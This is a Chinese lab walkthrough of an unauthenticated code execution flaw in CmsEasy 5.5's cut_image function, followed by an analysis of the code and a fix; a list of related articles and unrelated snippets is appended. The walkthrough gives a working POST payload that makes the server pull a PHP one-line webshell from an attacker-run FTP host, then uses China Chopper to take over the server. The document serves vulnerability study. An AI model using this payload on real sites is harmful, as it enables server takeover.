CmsEasy 5.5 cut_image 代码执行漏洞
3 CmsEasy 5.5 cut_image 代码执行漏洞
3.1 摘要
3.1.1 漏洞介绍
- CmsEasy是一款基于PHP+MySQL架构的网站内容管理系统,可面向大中型站点提供重量级网站建设解决方案:拥有强大的内容发布模板自定义功能,可以通过模板自定义功能扩展出产品、新闻、招聘、下载等多种不同的内容发布及字段显示功能。可自定义网页标题、关键词、描述、URL路径等多种优化项,可自动推送内容至百度搜索引擎。全国首家内置推广联盟模块的企业网站系统,为企业在营销推广方面,提供了非常便捷的方法和功能。为广大用户提供更为安全、稳定、强大的微信公众好管理系统。拥有强大的内容发布木板自定义功能,可以通过模板自定义功能扩展出产品、新闻、招聘、下载等多种不同的内容发布及字段显示功能。
- CmsEasy5.5版本’cut_image_action’函数存在代码执行漏洞,远程攻击者可在未登录的情况下向服务器上传任意文件,执行任意代码,获取服务器权限。
3.1.2 漏洞环境
- 操作机:Windows XP
- 目标机:CentOS 6.5
3.1.3 实验工具
- CmsEasy5.5
- FTPserver.exe:一个小型的Ftp server软件
- 中国菜刀:一款专业的网站管理软件,只要支持动态脚本的网站,都可以用中国菜刀来进行管理。主要功能有:文件管理,虚拟终端,数据库管理。
3.2 漏洞复现
- 将构造好的图片木马复制c:\ftp目录下,用Notepad打开,查看图片内容,可以看到标识处,含有一句话代码菜刀连接密码为c。

- 将该图片文件名修改为
phpinfo.php,接下来利用该图片木马进行漏洞利用。 - 打开实验工具下载的FTP Server工具,请将该实验工具访问目录修改为c:\ftp,点击启动服务即可。

- 使用火狐浏览器打开目标界面http://www.test.ichunqiu 按F9调出hackbar工具,我们构造漏洞利用代码,访问URL为
http://www.test.ichunqiu/index.php?case=tool&act=cut_image点击Enable Post data打开POST窗口,注入以下测试内容,pic=1ftp://172.16.11.2/phpinfo.php&w=700&h=1120&x1=0&x2=700&y1=0&y2=1120

- 点击Execute提交,即可返回上传文件地址。

- 将上图返回的地址,复制到地址栏,(将/路径替换为/)访问。可以看到该文件访问成功,下面尝试使用中国菜刀连接该一句话木马。复制该地址。

- 运行中国菜刀
chopper.exe程序。 在程序窗口内,右键将地址粘贴,地址后面密码填写为c脚本类型选择为PHP,点击添加即可。

- 点击添加后可以看到该目录,增加一条记录,我们双击该条目,即可进入webshell目录管理界面

- 该漏洞利用成功
3.3 漏洞分析
该漏洞是因为CmsEasy5.5/lib/default/tool_act.php 392行的cut_image_action()函数出现问题。代码如下图所示

分析以上代码,可以发现保存文件名的生成,直接用了$_POST['pic'] 接受未经过任何安全防护的输入作为扩展名,应该就是这里导致Getshell。

这里需要可以绕过PHP图像处理的一句话木马,和本地搭建Ftp服务以绕过
file_exits()函数, PHP5.0以上即可支持file_exists()。代码如下所示,如果$_POST['pic']开头4个字符不是http的话,就认为是本站的文件,会从前面抽取base_url,返回文件相对路径。所以构造的时候,如果站点不是放在根目录,则需要补位strlen(base_url)+2 如果放在根目录 也需要补上1位('/'的长度)

构造的测试代码为:
post /index.php?case=tool&act=cut_image
pic=1ftp://localhost/test.php&w=700&h=1120$x1=0&x2=700%y1=0y2=1120
其中localhost=172.16.11.2,test.php=phpinfo.php
3.4 修复方案
- 更新到官方最新版本:http://www.cmseasy.cn/
CmsEasy 5.5 cut_image 代码执行漏洞的更多相关文章
- 【代码审计】CmsEasy_v5.7 代码执行漏洞分析
0x00 环境准备 CmsEasy官网:http://www.cmseasy.cn/ 网站源码版本:CmsEasy_v5.7_UTF8-0208 程序源码下载: http://ftp.cmseas ...
- Spring框架的反序列化远程代码执行漏洞分析(转)
欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...
- struts2最新s2-016代码执行漏洞CVE-2013-2251
这是一个代码执行漏洞,利用java代码来执行系统命令. 影响版本:Struts 2.0.0 – Struts 2.3.15 漏洞说明: The Struts 2 DefaultActionMa ...
- Discuz! x3.1的插件/utility/convert/index.php代码执行漏洞
漏洞版本: Discuz! x3.1及以下版本 漏洞描述: Discuz! x3.1的插件/utility/convert/index.php存在代码执行漏洞,如果用户在使用完之后不删除,会导致网站容 ...
- WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞
漏洞名称: WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞 CNNVD编号: CNNVD-201310-195 发布时间: ...
- Apache Struts 远程代码执行漏洞(CVE-2013-4316)
漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...
- WordPress wp-includes/functions.php脚本远程任意代码执行漏洞
漏洞名称: WordPress wp-includes/functions.php脚本远程任意代码执行漏洞 CNNVD编号: CNNVD-201309-166 发布时间: 2013-09-13 更新时 ...
- MongoDB ‘conn’Mongo 对象远程代码执行漏洞
漏洞名称: MongoDB ‘conn’Mongo 对象远程代码执行漏洞 CNNVD编号: CNNVD-201307-497 发布时间: 2013-07-25 更新时间: 2013-07-25 危害等 ...
- Struts2再爆远程代码执行漏洞
Struts又爆远程代码执行漏洞!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码.Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction ...
随机推荐
- ubuntu ssh 连接加速
vi /etc/ssh/sshd_config 最后加上 UseDNS no
- JQUERY中各个ajax函数
1.$(selecter).load() --- load() 方法从服务器加载数据,并把返回的数据放入被选元素中 2.$.get(url,callback()) 3.$.post(url,d ...
- nodejs(四)file System模块 解决Cross device link错误 EXDEV
var fs = require('fs'); /*cross device link fs.rename('c:\\err.LOG','d:\\err.LOG',function(err){ con ...
- android奔溃日期一闪而过
Android Studio日期崩溃了一闪而过,看不到原因:可以设置No Filters就可以了
- 版本 ------- 2017年最受开发者欢迎的10个Linux发行版
1.Arch Linux Arch Linux在安装过程中提供了强大的可定制选择,支持你下载和安装自己所需的程序包.虽然这个选择对新手来说没有多大的帮助,但是它确实能够帮助那些使用Arch构建系统和存 ...
- C++(STL)&&树-堆结构练习——合并果子之哈夫曼树
题目题解:http://blog.csdn.net/xu12110501127/article/details/9199335 有关博客:http://www.360doc.com/content/1 ...
- BGD-py实现学习【1】[转载]
转自:https://github.com/icrtiou/Coursera-ML-AndrewNg 1.源码-对数据读取 import numpy as np import pandas as pd ...
- [LeetCode] 532. K-diff Pairs in an Array_Easy tag: Hash Table
Given an array of integers and an integer k, you need to find the number of unique k-diff pairs in t ...
- c++四种强制类型转化
c++ 数据类型转换: static_cast dynamic_cast reinterpret_cast const_cast C++ 类型转换(C风格的强制转换): (1)将浮点型数据赋值给整型变 ...
- distinct count
实验:查询一个column的无重复记录,需要知道有多少条记录,并显示记录. 统计记录用count(*)函数,无重复记录distinct,以emp表为例. (1)先查询无重复记录 [@more@] SQ ...